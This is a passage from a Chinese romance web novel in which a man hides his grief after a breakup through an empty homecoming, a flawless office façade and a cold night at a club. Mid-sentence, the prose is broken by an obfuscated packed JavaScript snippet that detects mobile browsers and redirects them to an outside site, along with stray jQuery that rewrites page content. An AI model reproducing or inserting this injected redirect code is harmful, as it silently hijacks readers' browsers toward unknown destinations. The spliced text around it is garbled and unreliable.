从机场出来，薛引鹤就一路朝家的方向驶去。
车子没有经过楼下，而是直接驶入地下车库，引擎熄灭，四周陷入一片死寂。
薛引鹤坐在驾驶座上，没有立刻下车。
他深吸一口气，再度说服自己：不过是一场再平常不过的分手，没有争吵没有纠缠，他自认做得很好，极其体面，没道理因为结束一段关系，就连家都不敢回。
他强迫自己下车，上楼，将拇指按在冰凉的识别区。
“嘀”的一声轻响，门开了。
屋子里已经被保洁彻底打扫过，空气里弥漫着淡淡的清洁剂的味道，所有属于她的痕迹似乎都被抹得一干二净。
他咬紧牙关，像是完成某个任务一般，刻意在空荡的客厅和餐厅之间走了一圈。
看，没什么大不了的。他对自己说。这里只是一个住处，一个空间，仅此而已。
可是太安静了。
这种死寂，如同有了实质，就好像一团棉花，堵住了他的耳膜，堵塞了他的胸膛，一股无名火混合着熟悉的窒息感猛地顶了上来。
他几乎是失控地，从喉咙深处发出了一声短促而用力的：“啊！”
声音在空旷的房间里撞出回响，突兀而狼狈。
喊出来之后，胸腔里那股快要爆炸的闷气似乎找到了一个出口，但随之而来的并不是释放和解脱，而是一片更加庞大、更加冰冷的凄凉无助。
他站在原地，听着那回声一点点消失，感觉自己像是个站在舞台中央，却发现观众席早已空无一人的小丑。
他猛然转身，径直走进浴室，打开花洒，让温热的水流冲刷掉一身的疲惫和从机场带回来的离别气息。
他看到隋泱自制的沐浴露瓶，抬手抄起并精准无误地扔进垃圾桶，随即拿起属于自己惯用的那瓶沐浴露，狠狠地挤出比平时多几倍的用量，试图用强烈的、属于他自己的雪松香气，来覆盖掉一切。
洗漱完毕，路过垃圾桶时，他又倏地顿住，弯腰将那瓶用医用塑料瓶装着的沐浴露捡起，然后胡乱塞进最近的一个柜子里。
随着柜门“啪”地一声合上，他走进了卧室。
巨大的疲惫感如同海啸般席卷而来，连续两夜未眠，加上清晨机场送行时高度紧绷的神经骤然松弛，他的身体几乎处于虚脱边缘。
他坐上那张前天夜里他不敢触碰的双人床。
看吧，不是什么难事，他安慰引诱着自己。
他按下关闭窗帘的按钮，随即躺下，闭上了眼睛。
然而，身体越是疲惫不堪，大脑却反而异常清醒，在一片隔绝了视觉的黑暗里，其他的感官被无限放大，尤其是嗅觉。
枕头上、被子里，甚至是周围的空气里，那股熟悉的、清浅而独特的，属于她的气息，如同一张无形的网，将他牢牢笼罩。
他努力构建的堤坝这一刻被感官无情冲垮。
随后，他放弃了自我挣扎，放任意识游走，任由大脑为他构建一个他乐于接受的、短暂而虚假的现实：
没有失去。
没有分别。
他只是暂时送她回了学校。
这气息就是证明，她还在他身边。
在这个自我编织的谎言中，他获得了片刻的安宁，他下意识地伸出手，将属于她的那个枕头紧紧拥入怀里，将脸深埋进去，贪婪地汲取着那上面残留的、正在一点点消散的气息。
在这样的慰藉中，他沉重的眼皮再也无法睁开，就这么拥着她的枕头，沉沉睡去。
……
周一一大早，谈从越带着一身风尘和满腔担忧，直接从机场杀到了薛氏集团总裁办。
昨天他同阮松盈在希思罗机场接到隋泱之后就开始给薛引鹤打电话，连打三个都是未接，他向来稳妥，工作上24小时待机，不会有三通未接电话的情况。
放心不下，谈从越当即决定先阮松盈一步回国，安慰他那被甩的好兄弟。
他想象过薛引鹤可能出现的各种状态：颓废、暴怒、崩溃，甚至借酒消愁。他都能陪他。
然而当他推开办公室的门时，看到的却是一个精神奕奕，正在主持会议的薛引鹤。
男人穿着熨帖的深灰色西装，站在投影幕布前，身姿挺拔，逻辑清晰，语速平稳地向下属分析着一组市场数据。
他看起来……无懈可击。甚至比谈从越印象中那个永远游刃有余的薛引鹤，还要完美几分。
会议结束，高管们鱼贯而出，总助盛安倒数第二个出来，谈从越试图用眼神跟他迅速交流一番，然而盛安却是满面愁容，根本没对上眼，匆匆打完招呼便离开了。
这时，薛引鹤走出来，看到站在门口的谈从越，脸上略过一丝恰到好处的惊讶，随即露出一个标准的、无可挑剔的微笑。
“你怎么回来了？不是要在英国陪松盈多玩几天？”他缓步走近，语气熟稔自然，甚至抬手拍了拍谈从越的肩膀，“正好我手里有个项目，感觉挺适合你，一会儿项目组的人过来介绍，你一块儿听听？”
谈从越愣住，他仔细打量薛引鹤，试图从他眼里找到些许失恋的蛛丝马迹，但那双深邃的眼里平静无波，仿佛隋泱的离开只是一件微不足道的小事而已。
“薛引鹤，”谈从越忍不住开口，语气带着试探，“我在英国……见到隋泱了。”
他紧紧盯着薛引鹤的脸，不放过任何一丝细微的表情。
薛引鹤脸上笑容分毫未变，只是眉梢几不可查地动了一下，如果谈从越此时看他握着文件的手，就能发现文件封面已被捏得变了形。
薛引鹤用一种近乎轻描淡写的语气回应：“嗯，她安顿好了就行。”
没有更多的话语，更没有流露出任何痛苦或者失落。
这种异乎寻常的“正常”，反而让谈从越心底猛地一沉。
这不对劲。
他很清楚隋泱之于薛引鹤是什么样的存在，即便薛引鹤本人还没意识到或者否认这件事，但随着隋泱的离开，如果他失魂落魄、痛哭流涕、借酒消愁，这些对谈从越来说都能接受。
然而此刻，这种彻底的、刻意的、不带任何情绪的回避，显然掩盖了一个巨大的情绪黑洞。
这种回避与否认，比任何形式的崩溃，都更让了解他的谈从越感到心惊。
谈从越耐着性子陪他见完了客户，观察着他的一举一动，到了快下班的点，他到底不放心，跟阮松盈报备过后，半强迫地把薛引鹤拉到了城北严珣新开的会所[彼岸]。
华灯初上，都市的夜生活刚刚拉开序幕。
[彼岸]内，暧昧迷离的灯光伴着震耳欲聋的音乐声，连空气中都弥漫着酒精与香水混合的亢奋气息。
谈从越原本担心薛引鹤会拒绝，没想到他却欣然前往，甚至主动走进了那个最大的卡座。
只见他姿态闲适地靠着沙发，长腿交叠，对于前来打招呼、攀谈的各色人等，甚至是专门来调侃他的老友，他都报以无可挑剔的温和微笑，仿佛他依旧是那个风流潇洒的薛二公子。
但谈从越敏锐地注意到，他周身仿佛有一道无形的、冰冷的屏障。
他与人保持着恰到好处的物理距离，没有任何肢体接触。
他带上了他那副完美面具，笑意从未达眼底。
最重要的是，他面前那杯威士忌，从冰块融化到彻底失去冷气，他始终没碰一口。
“薛哥，出来玩不喝点儿？”一个不知情的朋友端着酒杯过来，试图劝酒。
薛引鹤抬手，轻轻挡开递到面前的酒杯，动作优雅却不容置疑，脸上完美
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856447|190923||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑容依旧：“今天胃不舒服，你们尽兴，我以茶代酒。”
他的借口无懈可击，礼貌得体，让人无法再劝。
谈从越看着他，心里的那股不安感越来越强。
他原本想着来这里醉一场就好了，可薛引鹤哪是来买醉的？分明像是执行“社交任务”来的，他将自己置身于单身时经常光顾的会所，以此来证明自己“没事”。
严珣今天有些忙，过来打了招呼，又很快叫了闻野过来。
闻野跟谈从越交换了一个眼神就大致了解了情况，他是个能来事的，一边恭喜薛引鹤“恢复单身”，一边体贴地叫来了几个条件极为出色的单身女性。
“薛哥，新朋友，认识认识？”闻野满脸谄媚，等着看好戏。
其中一位红裙女子最为主动，她在薛引鹤身边坐下，巧妙地找了个关于当前音乐的话题想与他攀谈。
她时不时撩一下自己的长发，身上的昂贵香水味若有似无地飘过来。
薛引鹤侧过头，目光在她脸上停留不到两秒，那眼神不像是在欣赏一位美人，更像是在评估一件商品，他嘴角甚至还挂着一丝极淡的、礼貌的弧度。
“抱歉，我对气味比较敏感。”他说话时依旧保持着绅士风度，甚至微微颔首表示歉意，但那双深邃的眼眸里没有任何温度，语气里的疏离让周遭的空气瞬间凝滞。
“或许，”他轻声建议，像是真心在为对方考虑，“你可以找个更舒适的位置。”
那位女士脸上的笑容顿时僵住，在他礼貌却不容置喙的目光中尴尬站起。
闻野见状连忙打圆场，示意那几位女性先行离开，他凑到薛引鹤身边，带着几分讨好和不解：“薛哥，这可是我比着你以往喜欢的类型挑的……如今您这眼光，也太高了些。”
薛引鹤端起面前那杯一直没碰的威士忌，漫不经心地晃了晃，还未完全化掉的冰块撞击杯壁发出清脆声响，他垂着眼睑，浓密睫毛在脸上投下一小片阴影，让人看不清他眼中情绪。
半响，酒杯被不轻不重地放回桌面，“下次，换点好的来。”
语气听不出任何怒气，却让在场之人噤若寒蝉。
谈从越在一旁看着，有些烦躁地揉了揉眉心，这家伙，还在装。
十点不到他们就出了[彼岸]，薛引鹤坐进驾驶座，谈从越自然地拉开车门坐进了副驾。
“先送我回去，喝得有点多。”
薛引鹤并没有戳穿他的谎言。
自打有了阮松盈，谈从越早就收了酒兴，方才也不过跟严珣浅酌了一杯。
他什么也没说，只是沉默地启动车子，引擎声在夜色里缓缓响起。
车子平稳汇入车流，车厢内一片寂静，只有空调系统低沉的运行声，薛引鹤目视前方，专注开车，只是握着方向盘的双手牢牢抓在最恰当的位置，泄露了他并非表面这般平静。
就在这时，谈从越手机响了，那专属铃声薛引鹤十分熟悉，是阮松盈来电。
谈从越接起，语气是毫不掩饰的亲昵和放松：“都安顿好了？嗯……我在薛引鹤车上呢……对，准备回去了。”
薛引鹤握着方向盘的手僵住。他的全副心神在电话接通的瞬间，全部集中在了谈从越的手机上。
他其实根本听不清阮松盈具体在说什么，他只是觉得这样离伦敦很近，离她很近。
所有感官都被调动起来，或许她就在阮松盈身边，电话里发出的任何一个细微声响都可能源自于她。
“嗯，我知道，你也是，早点休息……”谈从越还在讲着电话。
薛引鹤听得太过投入，以至于车子直直开过了那个他平时闭着眼睛都不会走错的路口。
看着窗外打电话的谈从越也愣了一下，下意识提醒：“哎，开过了！”